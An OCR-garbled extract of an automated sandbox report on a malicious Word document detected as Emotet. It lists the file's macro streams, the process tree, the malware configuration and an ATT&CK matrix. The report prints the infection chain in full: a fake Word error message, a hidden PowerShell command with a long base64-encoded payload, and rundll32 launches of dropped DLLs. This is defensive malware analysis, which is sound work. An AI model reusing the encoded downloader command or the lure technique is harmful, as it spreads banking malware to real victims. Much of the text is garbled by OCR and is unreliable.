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OLE File "MAIL-0573188.doc"
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General
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General
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General
Stream Path: Data, File Type: data, Stream Size: 99192
General
Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 524
General
Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 149
General
Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5216
General
Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 675
General
Stream Path: WordDocument, File Type: data, Stream Size: 21038
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Network Behavior
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets

Code Manipulations

Statistics
Behavior

System Behavior
Analysis Process: WINWORD.EXE PID: 2364 Parent PID: 584

General
File Activities

File Created

File Deleted
Registry Activities

Key Created

Key Value Created

Key Value Modified

Analysis Process: cmd.exe PID: 2412 Parent PID: 1220
General

Analysis Process: msg.exe PID: 2420 Parent PID: 2412
General

Analysis Process: powershell.exe PID: 1976 Parent PID: 2412
General

File Activities
File Created
File Deleted
File Written
File Read

Registry Activities
Analysis Process: rundll32.exe PID: 2484 Parent PID: 1976
General

File Activities
File Read

Analysis Process: rundll32.exe PID: 2764 Parent PID: 2484

General

Copyright null 2021

21
21
22
22
22
22
22
22
23
23
23
23
27
27
27
28
28
28
28
28
28
28
28
28
28
28
29
29
29
29
29
29
29
29
30
30
30
30

30
30
31
32
32
33
33
33

37

37
37

38

38
38

38
38
38
38
38
38
40

42
42

43
43
43
43

45
45
45
45
47

48
48
48

48
48

48
48

Page 3 of 53



File Activities

Analysis Process:

General
File Activities

Analysis Process:

General
File Activities

Analysis Process:

General
File Activities

Analysis Process:

General
File Activities

Analysis Process:

General
File Activities

Analysis Process:

General

File Activities
File Created
File Deleted

Registry Activities
Disassembly
Code Analysis

Copyright null 2021

rundll32.exe PID

rundll32.exe PID

rundll32.exe PID

rundll32.exe PID

rundll32.exe PID

rundll32.exe PID

: 2812 Parent PID

: 2688 Parent PID

: 2732 Parent PID

. 2824 Parent PID

: 2456 Parent PID

: 2496 Parent PID

12764

. 2812

. 2688

12732

: 2824

. 2456

49
49
49
49
49
49
50
50
50
50
50
51
51
51
51
51
52
52

52
52
53

53

53
53

Page 4 of 53



Analysis Report MAIL-0573188.doc

Overview
General Information Detection Classification
Sample MAIL-0573188.doc

Name: Antivirus detection for URL or domain

Analysis ID: 337092 MALICIOUS Multi AV Scanner, detection for doma...

MDS: 7adse41d03b2dfe. Multi AV Scanner detection for subm...

SHA1L:

2a6cofag3abadce. Office document tries to convince Vvi...
SHA256: 2d6cbcbc803638..

System process connects to networ...
Most interesting Screenshot:

Yara detected Emotet

Creates processes via WMI

Document contains an embedded VB...

m Document contains an embedded VB...
100

Document contains an embedded VB...

Score:

Range: 0-100 Encrypted powershell cmdline option...

Whitelisted:  false

Bils T Selel=] = e . Hides that the sample has been dow...
Confidence:  100%

w
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>
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Startup

= System is w7x64

. WINWORD.EXE (PID: 2364 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2412 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P*Ow”er"she L L -w hidden -ENCOD
IABZAFYAIAAgACgAIgBLACIAKWAIADQANWBKACIAKQAJACAAKABBAHQAWQBQAGUAXQAOACIAeWAOAHOAeWAXAHOAeWAWAHOAewAZAHOAewAYAHOAIGAtAEYAJWBZACCAL
AANAHKAIWASACCAZQBJAFQAbWBYAFKAIJWASACCAVABFAGOALYBIAGBALGBEAEKACGANACWAIWBZACCAKQAPACAAIAATACAAIAAGACAAIABXAGKAOAAGADOAW
WBOAHKAUABIAFOAKAAIAHSAMgBIAHSAMWBIAHSANWBIAHSAMQBIAHSANABIAHSANgBIAHSANQBIAHSAOABIAHSAMABIACIALQBGACAAIWBNAEUAUgANACWAJ
WAUAE4AZQBOACAAUWBFAFIAVgANACWAIWBTAFKACWANACWAIWBUAGUAIWASACCASQANACWAIWBOAGOAQQANACWAIWBDAGUAUABPAEKATgANACWAIJWBACCAL
AANAE4AYQANACKAIAATACAAIABFAHIACgBVAHIAQQBJAHQAaQBVAGAAUABYAGUAZGBIAHIAZQBUAGMAZQAJADOAIAAOACYAIWBTAGKADABIAGAAJAANACSAIWBSAHKAIWA
pPACSAIWBDACCAKWAOACCAbWBUACCAKWANAHQAaAQANACKAKWANAGAAIWAIACCAdQBIACCAKQA7ACQATWBSADKAbWBUAGSAaQA9ACQAQWAWADIAVWAGACSAIAB
bAGMAaABhAHIAXQA0ADYANAAPACAAKWAJACQAQQAWADMAUAA7TACQASAAYADCAWAAIACIAIWBIACCAKWAOACCANGANACSAIWASAFEAIWAPACKAOWAGACAAKAB
NAGKAIAACACIAVgBhAFIAIgArACIAaQBBAEIATABIADoAawAIACSAIgAOADCAZAAIACKAIAAGACKALYB2AGEATABLIAGUAOQGABACIAQWBYAEUAYABBAGAAVABJAEUARABJIA
FIAZQBDAFQAYABPAFIAeQAIACJAJABIAEBATQBFACAAKWAJACJAKAANAHSAIWArACCAMAANACSAIWBIAEAACWANACSAIWBWACCAKWANAHOAdgBzAGCAeWANACSAIJWAWAHO
AIWArACCAUWBQAFBAZAB3AGCACWB7ACCAKWANADAAFQANACKAIAAGACOAZGAgAFSAQWBIAEEAUgBAADKAMgAPACKAOWAKAFQANAA4AESAPQAOACCASAANACS
AKAANADYAMQANACSAIJWBEACCAKQAPADSAIAAGACQAVWBPADJAOJABACIACWBIAGMAJQBSAGKAJABgAHKACABYAESBAYABUAGAADBWBJAGBATAAIACAAPQAGACY
AKAANAFQADAANACSAIWBZACCAKQAIACCAMQAYACCAKQA7ACQAQWALIADKATQASACYAKAANAEOAIWAIACCAMAOACCAKQAIACCAUAANACKAOWAKAFgADQBIAGY
AawBIAGQAIAA9ACAAKAAOACCAUGANACSAIWAZADEAIWAPACSAIWBOACCAKQA7ACQAQQA2ADKASQAIACIAKAANAFAAXWANACSAIWA2ACCAKQArACCAQJANACK
AOWAKAFEAMgB5AGCAOQBNAFBAPQAKAEgATWBNAEUAKWAOACYAKAANADEAIWAIrACCAdWBYACCAKQArACgAIWBOAHMAJIWAIACCACABEACCAKQAIACgAIWB2ACE
AKWANAHMAZWANACKAKWANADEAdWANACSAKAANAHIAUWANACSAIWBGAFSAIWArACCAZAB3ACCAKWANAGCACWAXAHCACGANACKAKQAUACIACGBFAHAAYABSAEEAYWBIACIAK
AACAFSAQWBOAGEAcgBdADQAOQAIAFSAQWBOAGEACgBAADEAMQASACSAWWBDAGgAY QBYAFOAMQAXADQAKQASACCAXAANACKAKQArACQAWABIAGOAaABrAGUAZ
AArACgAKAANACAAZAANACSAIWBSACCAKQAIACCABAANACKAOWAKAFUAMWASAFIAPQAOACCATQAWACCAKWANADEAUAANACKAOWAKAFEAYWBIAGMAaAAOAGUAP
QAO0ACCAXQBhACCAKWAOACCAbgANACSAIWB3AFSAMWABACBALWANACKAKWAOACCAdWANACSAIWBWAHMAIWAPACSAIWBhACCAKWANAHAAaWANACSAKAANACAAY
WBVACCAKWANAGOALWB3AHAALQANACSAIJWBhAGQAJIWArACCcAbQBPACCAKQArACgAIWBUACBAdgANACSAIWAVAEAAIWAPACSAIWBAACCAKWAOACCAY QBUAHCAI
WArACcAWWAzACCcAKWANADOALWAVAHMAJWAPACSAKAANAGBAZgBzAHUAIWArACcAaQANACKAKWANAHQAZQANACSAKAANACAAYWANACSAIWBVACCAKQArACcAb
QAVACCAKWANAHCACAANACSAKAANACOAaQANACSAIWBUAGMAJIWAPACSAKAANAGWAdQBKACCAKWANAGUAJWAPACsAIWBZzACBAIWArACgAIWAYAGOADQAZAGAAT
WArACCcASQBrAC8AIWArACCAQAANACKAKWAOACCAXQBhACCAKWANAGAAdWBDACCAKQArACCAMWANACSAKAANADOALWAVAHYAZQBOAGUACYANACSAIWBPAGAAY
QBYAGKAYQANACSAIJWBKACCAKQArACgAJWBYAHAAIWArACcAbwBWACCAKQArACgAIJWB1AGKALgBJAGBAIWArACCAbQANACKAKWAOACCALWANACSAIWBJAGBAIWAPACSAIWB
UACCAKWANAHQAZQANACSAKAANAGAAdAANACSAIWAVADUAZGANACKAKWANADEAJWArACCAOABRACCAKWANACBAIWArACCAQAANACSAKAANAFOAY QANACSAIWB
UACCAKQArACcAdwANACsAKAANAFSAMWABACCAKWANACBALWBzAGgAIWArACcAbwBWACCAKWANACAAIWAPACSAIWBIAGWAIWArACCAZQANACSAKAANAGOAZQB
UACCAKWANAHMADbAANACsAJWBPACCAKQArACgAIWBKACCAKWANAGUALGANACKAKWAOACCAYWBVAGOAIWArACCALWANACKAKWANAHCACAANACSAIWAIAGMAIWA
rACcAbwANACSAKAANAGAAIWArACCAdABIAGAAdAANACKAKWAOACCALWANACSAIWBUACBAIWArACCAQABAAGEAbgANACKAKWAOACCAdWBbADMAIWArACCAOgAVACBAIWAPA
CsAJWBrACcAKwWA0ACCcAaAANACSAIWBhAGAAIWAPACSAKAANAGGAIWAIrACcAaABVACCAKQArACgAIWBhAGgAbwWANACSAIJWBIACCAKQArACgAIWBUAGEAeQAUAGAAZQANACS
AIWBOACBAJWArACcAdwBVAHIAZABWACCAKQArACgAIwBYAGUAIWArACCcAcWANACKAKWAOACCACWAVACCAKWANAEMAJWAPACSAKAANAECATQBDACBAQAANACS
AIWBAACCAKQArACCAY QBUACCAKWANAHCAIWAIACgAIWBbADMAOGAVACCAKWANACBAIWAPACSAKAANAGMAY QANACSAIWBLACCAKQArACgAIWBWAHUAIWArACC
AcwBIACcAKWANAHGACABVACCAKWANAC4AbwBYAGCALWBKAGUAJIWAPACSAIWBWACCAKWAOACCAY QBYACCAKWANAHQADQBIAGAAIWAPACSAIWBOACCAKWAOACC
ALQANACSAJWBVAGYALQBVAGQAaABtACCAKQArACgAIWBIAGSAZAAVADKANQBIAFgAIWATACCAWGANACSAIWBZACCAKQArACJAIWAVAEAAXQBhAG4AdWBDACE
AKWANADMACWABACBALWBNACCAKWANAHUACGANACSAIWBEAHQAY QANACSAIWBJACAAdWBOAGMAIWAIACCAaABIACCAKQArACCcAdgBhACCAKWANAGWAIWAIACC
AaQBIACCAKWANAHIAJWArACCALgBJACCAKWANAGBAJWATrACgAJWBLACBAIWArACCcAdwBWACCAKWANACOAYWANACKAKWAOACCAbWBUAHQAIWArACCAZQBUAHQAIWAPACSAK
AANACBAWQBBACCAKWANAFOAIWAPACSAKAANADYAJWArACCAWQBaACBAIWAPACKALGAIAHIAZQBQAGAATABhAEMARQAIACJAKAANAFOAY QANACSAKAANAGAAd
WANACSAIJWBbADMAJIWAPACKALAACAFSAY QBYAHIAY QBSAFOAKAANAHMAZAANACWAIWBZAHCAIWAPACWAKAAOACCAAAANACSAIWBOAHQAIWAPACSAIWBWACCAK
QASACCAMWBKACCAKQBbADEAXQAPAC4AIgBTAFAAY ABSAEKAJAAIACgAJABY ADQAMQBQACAAKWAJACQATWBSADKAbWBUAGSAaQAJACSAIAAKAEY AMgAXAEQAK
QA7ACQATgAZADIARQAIACYAKAANAFUAOAANACSAIWALACCAKQAIACCATgANACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEKAMQAOADUACQBZAGWAIABPAGAAIL
AAKAFEAYWBIAGMAaAAOAGGAKQB7AHQACYB5AHSAKAAUACGAIWBOAGUAdWALACCAKWANAEBAIWAIrACCAYgBJAGUAYWBOACCAKQAGAHMAWQBZAFQAZQBIACAAT
gBIAHQALYBXAGUAQYBDAEWASQBIAE4AVAAPACAAIgBKAGBAYABXAE4ADABVAGEARABMAGAAaQBMAGUAIgAOACQASQAXADQANQBXAHMADBAASACAAIABRADIAe
QBnNADKAZWBfACKAOWAKAEQAMAA4AFUAPQA0ACYAIWBIACCAKWANADQAOAANACKAKWANAESAIWAPADSASQBMACAAKAAOACAAKAANAECAZQANACSAIWBOACOAT
WArACCcASQBOAGUAbBQANACKAIAAKAFEAMgB5AGCAOQBNAFBAKQAUACIATABFAGAAZWBgAFQAaAAIACAALQBNAGUAIAAZADAAMGASADKAKQAGAHSALgAOACCAC
gB1ACCAKWANAG4AZABSAGWAMWANACSAIWAYACCAK QAGACQAUQAYAHKAZWASAGCAXWASACGAKAANAEMABWANACSAIWBUAHQAIWAPACSAKAANAHIADWANACSAJ
WBSAF8AIJWAPACSAKAANAFIAIWArACCAdQBUACCAKQAIrACCARAANACSAIWBMAEWAIWAPACAAIgBOAGAATWBZAHQACYBpPAGAATYBHACIAKAAPADSAJABEADYAN
WBIADOAKAANAESAMWANACSAIJWBFAESAJWAPADSAYgBYAGUAYQBrADsAJABZADUANABFADOAKAANAEIAJWArACGAIWA3ADY AJWArACCASWANACKAKQBYAHOAY
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WBhAHQAYWB0AHSAfQBIACQARAA3ADMAVIAIACYAIWBRACCAKWAOACCANAANACSAIWAYAEQAIWAPACKA MD5: 5746BD7E255DD6ABAFA06F7C42C1BA4L)

e [ msg.exe (PID: 2420 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 4 powershell.exe (PID: 1976 cmdline: POwersheLL -w hidden -ENCOD IABzZAFYAIAAgACgAIgBLACIAKWAIADQANWBKACIAKQAgACAAKABbAHQAWQBQAGUA
XQA0ACIAewAOAHOAeWAXAHOAeWAWAHOAewAZAHOAeWAYAHOAIGAtAEY AJwBzACCALAANAHKAIWASACCAZQBJAFQAbwBYAFKAIWASACCAVABFAGOALGBIAGSBA
LgBEAEKACGANACWAIWBZACCAKQAPACAAIAATACAAIAAGACAAIJABXAGKAOAAGADOAWWBOAHKAUABIAFOAKAAIAHSAMgBIAHSAMWBIAHSANWBIAHSAMQBIOAHSA
NAB9AHSANgBIAHSANQBIAHSAOABIAHSAMABIACIALQBGACAAIWBNAEUAUgANACWAIWAUAE4AZQBOACAAUWBFAFIAVgANACWAIWBTAFKACWANACWAIJWBUAGUA
JWASACCASQANACWAIWBOAGOAQQANACWAIWBDAGUAUABPAEKATGANACWAIWBIACCALAANAEAAY QANACKAIAATACAAIABFAHIACGBVAHIAQQBJAHQAaQBVAGAA
UABYAGUAZgBIAHIAZQBUAGMAZQAgADOAIAAOACGAIWBTAGKADABIAGAAJAANACSAIWBSAHKAIWAPACSAIWBDACCAKWAOACCAbWBUACCAKWANAHQAAQANACKA
KWANAG4AIWArACCAdQBIACCAKQA7ACQATWBSADKAbWBUAGSAaQAIACQAQWAWADIAVWAGACSAIABBAGMAaABhAHIAXQAOADYANAAPACAAKWAJACQAQQAWADMA
UAA7ACQASAAYADCAWAA9ACGAIWBIACCAKWAOACCANGANACSAIWASAFEAIWAPACKAOWAGACAAKABNAGKAIAACACIAVYBhAFIAIGArACIAaQBBAEIATABIADOA
awAIACsAIgAOADCAZAAIACKAIAAGACKALgB2AGEATABLAGUAOGABACIAQWBYAEUAYABBAGAAVABJAEUARABJIAFIAZQBDAFQAYABPAFIAeQAIACJAJABIAESA
TQBFACAAKWAGACgAKAANAHSAIJWArACCAMAANACSAIJWBIAE4AAcWANACSAIWBWACCAKWANAHOAdgBzAGCcAeWANACSAIJWAWAHOAIWArACCAUWBQAFSAZAB3AGCA
cwB7ACCAKWANADAAFQANACKAIAAgACOAZgAGAFSAQWBIAEEAUgBAADKAMgAPACKAOWAKAFQANAA4AESAPQAOACCASAANACSAKAANADYAMQANACSAIJWBEACCA
KQApPADSAIAAgACQAVWBPADgAOGABACIACWBIAGMAdQBSAGKAdABJAHKACABYAESAY ABUAGAADWBJAGBATAAIACAAPQAGACYAKAANAFQADAANACSAIWBZACCA
KQArACcAMQAYACCAKQA7ACQAQWALADKATQA9ACIAKAANAEOAIWAIACCAMgAOACCAKQArACCAUAANACKAOWAKAFgAbQBIAGgAawBIAGQAIAAIACAAKAAOACCA
UgANACsAIWAZADEAIWAPACSAIWBOACCAKQA7ACQAQQA2ADKASQAIACIAKAANAFAAXWANACSAIWA2ACCAKQAIACCAQYANACKAOWAKAFEAMYB5AGCAOQBNAFSA
PQAKAEgATWBNAEUAKWAOACgAKAANADEAJWAIrACCAdWBYACCAKQArACgAIWBOAHMAJIWATIACCACABBACCAKQATACYAIWB2ACCAKWANAHMAZWANACKAKWANADEA
dwANACSAKAANAHIAUWANACSAIWBGAFB8AIWArACCAZAB3ACCAKWANAGCACWAXAHCACGANACKAKQAUACIACgBFAHAAY ABSAEEAYWBIACIAKAAOAFSAQWBOAGEA
cgBdADQAOQArAFsAQWBOAGEAcgBdADEAMQASACSAWWBDAGGAY QBYAFOAMQAXADQAKQASACCAXAANACKAKQATACQAWABIAGOAaABrAGUAZAArACgJAKAANACAA
ZAANACSAIWBSACCAKQArACCAbAANACKAOWAKAFUAMWASAFIAPQAOACCATQAWACCAKWANADEAUAANACKAOWAKAFEAYWBIAGMAaAAOAGYAPQAOACCAXQBhACCA
KwA0ACcAbgANACsAIWB3AFSAMWABACBALWANACKAKWAOACCAdWANACSAIWBWAHMAJWAPACSAIWBhACCAKWANAHAAaWANACSAKAANACAAYWBVACCAKWANAGOA
LWB3AHAALQANACsAJWBhAGQAJWArACCAbQBpACCAKQArACgAIWBUACBAdgANACSAIWAVAEAAIWAPACSAIWBAACCAKWAOACCAY QBUAHCAIWArACCAWWAZACCA

KwANADoALWAVAHMAJWAPACSAKAANAGBAZgBzAHUAIWArACcAaQANACKAKWANAHQAZQANACSAKAANACAAYWANACSAIWBVACCAKQAIrACCAbQAVACCAKWANAHCA
CAANACSAKAANACO0AaQANACSAIWBUAGMAIWAPACSAKAANAGWAdQBKACCAKWANAGUAIWAPACSAIWBZACBAIWATACJAIWAYAGOADQAZAGAAIWATACCASQBIACBA
JWArACCAQAANACKAKWAOACCAXQBhACCAKWANAGAAdWBDACCAKQArACCAMWANACSAKAANADOALWAVAHYAZQBOAGUACYANACSAIWBPAGAAY QBYAGKAYQANACSA
JwBKACCAKQArACgAIWBYAHAAIWATrACcAbwBWACCAKQArACgAIWB1AGKALgBJAGBAIWArACCcAbQANACKAKWAOACCALWANACSAIWBJAGBAIWAPACSAIWBUACCA
KWANAHQAZQANACSAKAANAGAAJAANACSAIWAVADUAZGANACKAKWANADEAJWArACCAOABRACCAKWANACBAIWAIACCAQAANACSAKAANAFOAY QANACSAIWBUACCA
KQArACcAdwAnACsAKAANAFSAMWABACCAKWANACBALWBZAGgAIJWArACcAbwBWACCAKWANACAAIWAPACSAIWBIAGWAIWArACCAZQANACSAKAANAGOAZQBUACCA
KwANAHMADBAANACSAIWBPACCAKQArACgAIWBKACCAKWANAGUALGANACKAKWAOACCAYWBVAGOAIWArACCALWANACKAKWANAHCACAANACSAIWAIAGMAIWArACCA
bwANACSAKAANAGAAIWAIACCAdABIAGAAdAANACKAKWAOACCALWANACSAIWBUACBAIWATACCAQABAAGEAbgANACKAKWAOACCAdWBHADMAIWAIACCAOgAVACBA
JWAPACSAIWBrACcAKWAOACCAaAANACSAIWBhAGAAIWAPACSAKAANAGIAIWATACCAaABVYACCAKQAIrACgAIWBhAGgAbwANACSAIWBIACCAKQArACgJAIJWBUAGEA
eQAUAG4AZQANACSAIWBOACBAIWArACcAdwBVAHIAZABWACCAKQArACgAIWBYAGUAJWATrACCcAcWANACKAKWAOACCACWAVACCAKWANAEMAIWAPACSAKAANAECA
TQBDACBAQAANACSAIWBAACCAKQAIACCAY QBUACCAKWANAHCAIWAIACGAIWBHADMAOYGAVACCAKWANACBAIWAPACSAKAANAGMAY QANACSAIWBIACCAKQAIACGA
JwBWAHUAJIWArACcAcwBIACCAKWANAHgACABVACCAKWANAC4AbwBYAGCALWBKAGUAIWAPACSAIWBWACCAKWAOACCAY QBYACCAKWANAHQADQBIAG4AIWAPACSA
JWBOACCAKWAOACCALQANACSAIWBVAGYALQBVAGQAaABtACCAKQArACJAIWBIAGSAZAAVADKANQBIAFgAIWArACCAWGANACSAIWBZ ACCAKQArACgAIWAVAEAA
XQBhAG4AdwBbACCAKWANADMACWABACBALWBNACCAKWANAHUACGANACSAIWBEAHQAY QANACSAIWBJACAAdWBOAGMAIWAIACCAaABIACCAKQAIrACCAdgBhACCA
KwWANAGWAJIWArACcAaQBIACCAKWANAHIAIJWArACCALgBJACCAKWANAGBAIWArACgAIWBLACBAIJWAIACCAdwBWACCAKWANACOAYWANACKAKWAOACCAbWBUAHQA
JWArACCAZQBUAHQAJIWAPACSAKAANACBAWQBBACCAKWANAFOAIWAPACSAKAANADY AJWArACCAWQBaACBAIWAPACKALIAIAHIAZQBQAGAATABhAEMARQAIACGA
KAANAFOAY QANACSAKAANAGAAdWANACSAIWBbADMAIWAPACKALAACAFSAY QBYAHIAYQB5AFOAKAANAHMAZAANACWAIWBZAHCAIWAPACWAKAAOACCAAAANACSA
JWBOAHQAIWAPACSAIWBWACCAKQASACCAMWBKACCAKQBBADEAXQAPACAAIgBTAFAAYABSAEKAJAAIACJAJABY ADQAMQBQACAAKWAJACQATWBSADKAbWBUAGSA
aQAgACSAIAAKAEYAMgAXAEQAKQA7ACQATYgAZADIARQA9ACJAKAANAFUAOAANACSAIWAAACCAKQAIACCATgANACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEKA
MQAOADUACQBzAGWAIABpAG4AIAAKAFEAYWBIAGMAaAAOAGYAKQB7AHQACYB5AHSAKAAUACIAIWBOAGUAIWALACCAKWANAEBAIWAIACCAY gBGAGUAYWBOACCA
KQAgAHMAWQBzAFQAZQBtAC4ATYBIAHQALIBXAGUAQYBDAEWASQBIAE4AVAAPACAAIgBKAGBAYABXAE4ADABVAGEARABMAGAAaQBMAGUAIgAOACQASQAXADQA
NQBXAHMAbAASACAAJABRADIAeQBNADKAZWBfACKAOWAKAEQAMAALZAFUAPQACACYAIWBIACCAKWANADQAOAANACKAKWANAESAIWAPADSASQBMACAAKAAOACAA
KAANAECAZQANACSAIJWBOACOAIWArACCASQBOAGUABQANACKAIAAKAFEAMgB5AGCAOQBNAFBAKQAUACIATABFAGAAZWBGAFQAAAIACAALQBNAGUAIAAZADAA
MgASADKAKQAGAHSALGAOACCACYB1IACCAKWANAGAAZ ABSAGWAMWANACSAIWAYACCAKQAGACQAUQAYAHKAZWASAGCAXWASACJAKAANAEMAbBWANACSAIJWBUAHQA
JWAPACSAKAANAHIAbwANACSAIWBSAF8AIJWAPACSAKAANAFIAIJWArACCAdQBUACCAKQAIrACCARAANACSAIWBMAEWAIWAPACAAIgBOAGAATWBZAHQACGBPAGAA
TgBHACIAKAAPADSAJABEADYANWBIADOAKAANAESAMWANACSAIWBFAESAJWAPADSAY gByAGUAY QBrADsAJABZADUANABFADOAKAANAEIAJWArACGAJWA3ADYA
JWArACcASWANACKAKQBIAHOAYWBhAHQAYWBOAHSAfQBIACQARAA3ADMAVIASACYAIWBRACCAKWAOACCANAANACSAIWAYAEQAIWAPACKA MD5:
852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2484 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2764 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2812 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Shuwftk\rwhokf.exo',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2688 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Vngxkvjbgisigbn\asgkrazesikwug.frl',Control_RunDLL MDS5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2732 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Qzqgszcguiavsow\gdavyvbzxdoyhw.ift',Control_Ru
nDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2824 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Gfhmd\pcib.aey',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2456 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Gwiivizeoc\rneajwbra.jdv',Control_RunDLL
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2496 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Vshkfdgna\nswgiepj.iji', Control_RunDLL
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet

"RSA Public Key":
"MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fL I8UrI00ZURpPsR3eijAyfPj3z6\nuS75f21gmYFW2alWgNcFIzsAYQleKzDOn1CFHO07Zf8/4wY2UWOCI4dIEHNE/PH1z | n6uNk3pxjm7o4eCDyiJbz f+k0Azj10q54FQIDAQAB"

}

Copyright null 2021 Page 6 of 53



Yara Overview

Memory Dumps

Source

0000000A.00000002.2105264847.00000000001F1000.0000
0020.00000001.sdmp

00000007.00000002.2100881704.00000000001F0000.0000
0040.00000001.sdmp

00000008.00000002.2102904975.0000000000321000.0000
0020.00000001.sdmp

0000000C.00000002.2109299524.00000000001F0000.0000
0040.00000001.sdmp

0000000A.00000002.2105243347.00000000001C0000.0000
0040.00000001.sdmp

Unpacked PEs

Source

7.2.rundll32.exe.1f0000.0.unpack
13.2.rundlI32.exe.1f0000.1.unpack
9.2.rundlI32.exe.1b0000.0.raw.unpack
9.2.rundll32.exe.1b0000.0.unpack

13.2.rundlI32.exe.1c0000.0.raw.unpack

Sigma Overview

System Summary:

Signature Overview

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Click to see the 11 entries

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security

JoeSecurity_Emotet

Emotet

Click to see the 16 entries

@

AV Detection:

Click to jump to signature section

Copyright null 2021

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

Antivirus detection for URL or domain
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Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Networking: | |

E-Banking Fraud: | |

Yara detected Emotet

System Summary:

Office document tries to convince victim to disable security protection (e.g. to e le ActiveX or Macros)

Data Obfuscation:

]

Persistence and Installation Behavior:

]‘

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

]

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

]

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Disable or Modify os System Time Remote Archive Exfiltration  Ingress Tool E
Accounts Management Interception  Injection Tools Credential ~ Discovery Services Collected  Over Other Transfer In
Instrumentation Dumping Data Network N
Medium C
Default Scripting Boot or Boot or Logon Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Encrypted E
Accounts Logon Initialization Files or Information g Memory Discovery Desktop Removable Over Channel R
Initialization  Scripts Protocol Media Bluetooth [}

Scripts

Copyright null 2021

0
)
«Q
[
[e¢)
[e]
=
a1
w



Initial

Access Execution

Domain Native API
Accounts

Local Exploitation for Client

Accounts Execution

Cloud Command and
Accounts Scripting

Interpreter

Replication PowerSheII
Through

Removable

Media

External Scheduled Task
Remote
Services

Drive-by Command and
Compromise Scripting Interpreter

Exploit PowerShell
Public-

Facing

Application

Behavior Graph
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Persistence

Logon Script
(Windows)

Logon Script

(Mac)

Network

Logon Script

Rc.common

Startup
Items

Scheduled

Task/Job

At (Linux)

Privilege
Escalation

Logon Script
(Windows)

Logon Script
(Mac)
Network Logon

Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

Defense Evasion

Scripting

Obfuscated Files or
Information

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Rundii32 {Y

Credential
Access

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Discovery

System Information

Discovery B

Security Software

Discovery

Virtualization/Sandbox
Evasion

Process Discovery

Remote System
Discovery

Network Service
Scanning

System Network
Connections
Discovery

Lateral
Movement

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Command N
Collection Exfiltration and Control E
SMB/Windows Data from Automated Non- E
Admin Shares Network Exfiltration Application T
Shared Layer L«
Drive Protocol
Input Scheduled Application S
Capture Transfer Layer S
Protocol
Keylogging Data Fallback M
Transfer Channels D
Size Limits [}
GUI Input  Exfiltration Multiband Ji
Capture Over C2 Communication D
Channel S
Web Portal Exfiltration = Commonly R
Capture Over Used Port A
Alternative
Protocol
Credential Exfiltration Application D
API Over Layer Protocol In
